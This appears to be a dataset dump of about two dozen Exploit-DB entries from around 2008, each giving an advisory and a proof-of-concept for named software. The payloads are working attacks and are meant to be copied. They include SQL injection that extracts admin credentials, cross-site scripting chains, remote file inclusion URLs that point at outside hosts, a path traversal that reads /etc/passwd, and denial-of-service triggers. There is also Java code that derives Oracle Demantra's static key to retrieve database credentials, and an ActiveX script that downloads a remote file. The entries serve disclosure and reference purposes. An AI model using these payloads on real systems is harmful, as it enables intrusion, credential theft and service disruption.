QLWD/code_shield huggingface dataset:
标题: Zoph 0.7.2.1 - SQL Injection EDB-ID: 32013 CVE: 2008-6837 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30116/info

Zoph is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Zoph 0.7.2.1 is vulnerable; other versions may also be affected.

UPDATE (July 2, 2009): The vendor disputes that Zoph is affected by these issues. Recent versions of Zoph are reported not vulnerable.

The following login credentials are reported to trigger this issue:

username: '--
password: '-- URL: https://www.exploit-db.com/exploits/32013
标题: Zoph 0.7.2.1 - 'search.php?_off' Cross-Site Scripting EDB-ID: 32014 CVE: 2008-6838 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30116/info
 
Zoph is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Zoph 0.7.2.1 is vulnerable; other versions may also be affected.
 
UPDATE (July 2, 2009): The vendor disputes that Zoph is affected by these issues. Recent versions of Zoph are reported not vulnerable.

http://www.example.com/demo/search.php?_action=search&_off=[EvilScript] URL: https://www.exploit-db.com/exploits/32014
标题: PHP-Nuke 4ndvddb 0.91 Module - 'id' SQL Injection EDB-ID: 32015 CVE: 2008-3151 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30120/info

The '4ndvddb' module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects 4ndvddb 0.91; other versions may also be affected.

http://www.example.com/modules.php?name=4ndvddb&rop=show_dvd&id=1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,3,4,5,6,7,8,9,10%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A URL: https://www.exploit-db.com/exploits/32015
标题: V-Webmail 1.6.4 - '/includes/pear/Net/Socket.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32025 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
 
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Net/Socket.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32025
标题: vBulletin 3.7.1 - 'admincp/faq.php?Injection adminlog.php' Cross-Site Scripting EDB-ID: 32017 CVE: 2008-3184 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/30134/info

vBulletin is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to vBulletin 3.7.2 PL1 and 3.6.10 PL3 are vulnerable. 

<html>
<body>
<img 
src="http://http://www.example.com/vB/upload/admincp/faq.php/0?do=<script>/*" 
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/1?do=*/a%3D&#039;document.wri&#039;/*"
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/2?do=*/b%3D&#039;te(%22<script
&#039;/*" />
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/3?do=*/c%3D&#039;src=http://&#039;/*"
/>
<!--edit to match your data -->
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/4?do=*/d%3D&#039;http://www.example.com/&#039;/*"
/>
<img 
src="http://http://www.example.com/vB/upload/admincp/faq.php/5?do=*/e%3D&#039;&#039;/*" 
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/6?do=*/f%3D&#039;t.js></scrip&#039;/*"
/>
<!-- end edit -->
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/7?do=*/g%3D&#039;t>%22)&#039;/*" 
/>
<img
src="http://http://www.example.com/vB/upload/admincp/faq.php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"
/>
<img 
src="http://http://www.example.com/vB/upload/admincp/faq.php/9?do=*/eval(h)/*" 
/>
<img 
src="http://http://www.example.com/vB/upload/admincp/faq.php/a0?do=*/</script>" 
/>
</body>
</html> URL: https://www.exploit-db.com/exploits/32017
标题: V-Webmail 1.6.4 - '/includes/pear/XML/parser.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32026 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
  
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/XML/Parser.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32026
标题: PageFusion 1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32020 CVE: 2008-3201 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30155/info

PageFusion is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PageFusion 1.5 is vulnerable; other versions may also be affected. 

http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=0000000001&PGID=rdWCFSLF9E&MID=14&acct_fname=%
<http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=0000000001&PGID=rdWCFSLF9E&MID=14&acct_fname=%>">/><script>alert(/xs/)</script>&acct_lname=T
est&acct_username=hack3d&acct_email=hack3db0y%40gmail.com
<http://40gmail.com>&acct_time_zone=-0600


http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=0000000001&PGID=rdWCFSLF9E&MID=14&acct_fname=%333&acct_lname=
<http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=0000000001&PGID=rdWCFSLF9E&MID=14&acct_fname=%333&acct_lname=>">/><script>alert(/xs/)</scrip
t>&acct_username=hack3d&acct_email=hack3db0y%40gmail.com
<http://40gmail.com>&acct_time_zone=-0600

http://www.pagefusion.com/index.php?PID=">/><script>alert(/xs/)</script>
http://www.pagefusion.com/index.php?PID=0000000001&PGID=
<http://www.pagefusion.com/index.php?PID=0000000001&PGID=>">/><script>alert(/xs/)</script>

http://www.pagefusion.com/index.php?rez=">/><script>alert(/xs/)</script>&jsd=1&js=Yes&profile=1 URL: https://www.exploit-db.com/exploits/32020
标题: V-Webmail 1.6.4 - '/includes/pear/Mail/RFC822.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32024 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info

V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Mail/RFC822.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32024
标题: Wireshark 1.0.0 - Multiple Denial of Service Vulnerabilities EDB-ID: 32006 CVE: 2008-3140 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30020/info

Wireshark is prone to multiple vulnerabilities, including an information-disclosure issue and denial-of-service issues.

Exploiting these issues may allow attackers to obtain potentially sensitive information, cause crashes, and deny service to legitimate users of the application. Attackers may be able to leverage some of these vulnerabilities to execute arbitrary code, but this has not been confirmed.

These issues affect Wireshark 0.9.5 up to and including 1.0.0. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32006-1.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32006-2.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32006-3.pcap URL: https://www.exploit-db.com/exploits/32006
标题: FaName 1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32004 CVE: 2007-3653 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30019/info

FaName is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks

FaName 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[FANAME-DIRECTORY]/index.php?key="><script>alert(document.cookies)</script> http://www.example.com/[FANAME-DIRECTORY]/index.php?desc="><script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/32004
标题: OpenLDAP 2.3.41 - BER Decoding Remote Denial of Service EDB-ID: 32000 CVE: 2008-2952 类型: DOS 平台: LINUX 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30013/info

OpenLDAP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users by crashing affected servers.

OpenLDAP 2.3.41 is vulnerable to this issue; earlier versions back to approximately 2.1.18 as well as newer versions may also be affected.

slapd -h ldap:// -d511 &
perl -e 'print "\xff\xff\xff\x00\x84\x41\x42\x43\x44"' | nc localhost 389 URL: https://www.exploit-db.com/exploits/32000
标题: QNX Neutrino RTOS 6.3 - 'phgrafx' Local Buffer Overflow EDB-ID: 32009 CVE: 2008-3024 类型: DOS 平台: UNIX 发布日期: 2008-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/30024/info

QNX Neutrino RTOS is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. This issue affects the 'phgrafx' utility.

Attackers can exploit this issue to execute arbitrary code with superuser privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts will result in a denial of service.

QNX Neutrino RTOS 6.3.2 and 6.3.0 are vulnerable; other versions may be affected as well.

# PHOTON_PATH=/tmp
# cd /tmp
# mkdir palette
# cd palette
# touch `perl -e 'print "A" x 290 . ".pal"'`
# /usr/photon/bin/phgrafx URL: https://www.exploit-db.com/exploits/32009
标题: RSS-aggregator 1.0 - 'IdFlux' SQL Injection EDB-ID: 32001 CVE: 2008-3034 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30016/info

RSS-aggregator is prone to multiple SQL-injection and authentication-bypass vulnerabilities.

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, and gain administrative access to the affected application.

RSS-aggregator 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/fonctions/supprimer_flux.php?IdFlux=[SQL injection] URL: https://www.exploit-db.com/exploits/32001
标题: IBM Tivoli Directory Server 6.1.x - Adding 'ibm-globalAdminGroup' Entry Denial of Service EDB-ID: 31999 CVE: 2008-2943 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30010/info

IBM Tivoli Directory Server is prone to a denial-of-service vulnerability because the server contains a double-free error.

An attacker can exploit this issue to crash the affected server with a SIGSEGV fault, denying service to legitimate users.

Tivoli Directory Server 6.1.0.0 - 6.1.0.15 are affected. 

The following 'ldapadd' entry is sufficient to trigger the issue:

dn: globalGroupName=GlobalAdminGroup,cn=ibmpolicies
globalGroupName: GlobalAdminGroup
objectclass: top
objectclass: ibm-globalAdminGroup URL: https://www.exploit-db.com/exploits/31999
标题: S.T.A.L.K.E.R Shadow of Chernobyl 1.0006 - Multiple Remote Vulnerabilities EDB-ID: 31998 CVE: 2008-6703 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/29997/info

S.T.A.L.K.E.R is prone to multiple remote vulnerabilities:

- A stack-based buffer-overflow vulnerability
- An integer-overflow vulnerability
- A denial-of-service vulnerability

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

S.T.A.L.K.E.R Shadow of Chernobyl 1.0006 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31998.zip URL: https://www.exploit-db.com/exploits/31998
标题: FaName 1.0 - 'page.php?name' Cross-Site Scripting EDB-ID: 32005 CVE: 2007-3653 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30019/info
 
FaName is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks
 
FaName 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[FANAME-DIRECTORY]/page.php?name=<script>alert(document.cookies)</script> URL: https://www.exploit-db.com/exploits/32005
标题: RSS-aggregator 1.0 - Authentication Bypass EDB-ID: 32003 CVE: 2008-3033 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30016/info
  
RSS-aggregator is prone to multiple SQL-injection and authentication-bypass vulnerabilities.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, and gain administrative access to the affected application.
  
RSS-aggregator 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/fonctions/supprimer_flux.php?IdFlux=5
http://www.example.com/admin/fonctions/modifier_tps_rafraich.php?TpsRafraich=500 URL: https://www.exploit-db.com/exploits/32003
标题: RSS-aggregator 1.0 - 'IdTag' SQL Injection EDB-ID: 32002 CVE: 2008-3034 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/30016/info
 
RSS-aggregator is prone to multiple SQL-injection and authentication-bypass vulnerabilities.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, and gain administrative access to the affected application.
 
RSS-aggregator 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/fonctions/supprimer_tag.php?IdTag=[SQL injection] URL: https://www.exploit-db.com/exploits/32002
标题: DodosMail 2.5 - 'dodosmail.php' Local File Inclusion EDB-ID: 32011 CVE: 2008-3163 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30112/info

DodosMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to obtain sensitive information that may aid in further attacks.

DodosMail 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/path/dodosmail.php?dodosmail_header_file=/../../../etc/passwd URL: https://www.exploit-db.com/exploits/32011
标题: Microsoft Internet Explorer 7/8 Beta 1 - Frame Location Cross Domain Security Bypass EDB-ID: 31996 CVE: 2008-2949 2008-2948 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/29986/info

Microsoft Internet Explorer is prone to a cross-domain scripting security-bypass vulnerability because the application fails to properly enforce the same-origin policy.

An attacker can exploit this issue to change the location of a frame from a different domain. This allows the attacker to execute arbitrary code in a frame of the same window as content from a different domain. Successful exploits will allow the attacker to access information from the parent document via DOM components that are not domain-reliant (such as the 'onmousedown' event).

Internet Explorer 6, 7, and 8 Beta 1 are vulnerable; other versions may also be affected. 

javascript:x=open('http://example.com/');setInterval(function(){try{x.frames[0].location={toString:function(){return 
.http://www.example2.com/somescript.html.;}}}catch(e){}},5000);void(1); URL: https://www.exploit-db.com/exploits/31996
标题: AceFTP 3.80.3 - 'LIST' Directory Traversal EDB-ID: 31997 CVE: 2008-5175 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/29989/info

AceFTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

AceFTP Freeware 3.80.3 and AceFTP Freeware 3.80.3 are vulnerable; other versions may also be affected.

Response to LIST:

/../../../../../../../../../testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31997
标题: Oracle Demantra 12.2.1 - Database Credentials Disclosure EDB-ID: 31995 CVE: 2013-5795 类型: WEBAPPS 平台: WINDOWS 发布日期: 2014-03-01 漏洞利用脚本: Details:

Demantra has a backend function that allows anyone to retrieve the database instance name and the corresponding credentials.
Impact:

A remote, unauthenticated attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name.
Exploit:

The target URL is:

http://target.com:8080/demantra/ServerDetailsServlet?UAK=

Now the UAK key is calculated statically:

  String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));

      StringBuffer tmp = new StringBuffer("sge");
      tmp.append(0);
      tmp.append(encryptedPassword);

      uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));

From that information it is possible to create a simple extractor:

pixel:demantra user$ java getUAK
-=[Oracle Demantra Database Details Retriever ]=-

[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
[+] Retrieved the following encrypted string:
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,
[+] Decrypted string is:
TEST?test?demantra?orc?1

Together with the authentication bypass this can be exploited unauthenticated as well.

Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/31995
标题: UUSee 2008 - UUUpgrade ActiveX Control 'Update' Method Arbitrary File Download EDB-ID: 31980 CVE: 2008-7168 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/29963/info

UUSee is prone to a vulnerability that can cause malicious files to be downloaded and saved to arbitrary locations on an affected computer.

Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible.

UUSee 2008 is vulnerable; other versions may also be affected.

<html> <object classid='clsid:2CACD7BB-1C59-4BBB-8E81-6E83F82C813B' id='target'></object> <script language='vbscript'> arg1="\Program Files\Common Files\uusee\" arg2="http://www.example.com/UU.ini" arg3="http://www.example2.com/mini3/uusee_client_update/remark.php" arg4=1 target.Update arg1 ,arg2 ,arg3 ,arg4 </script> </html> URL: https://www.exploit-db.com/exploits/31980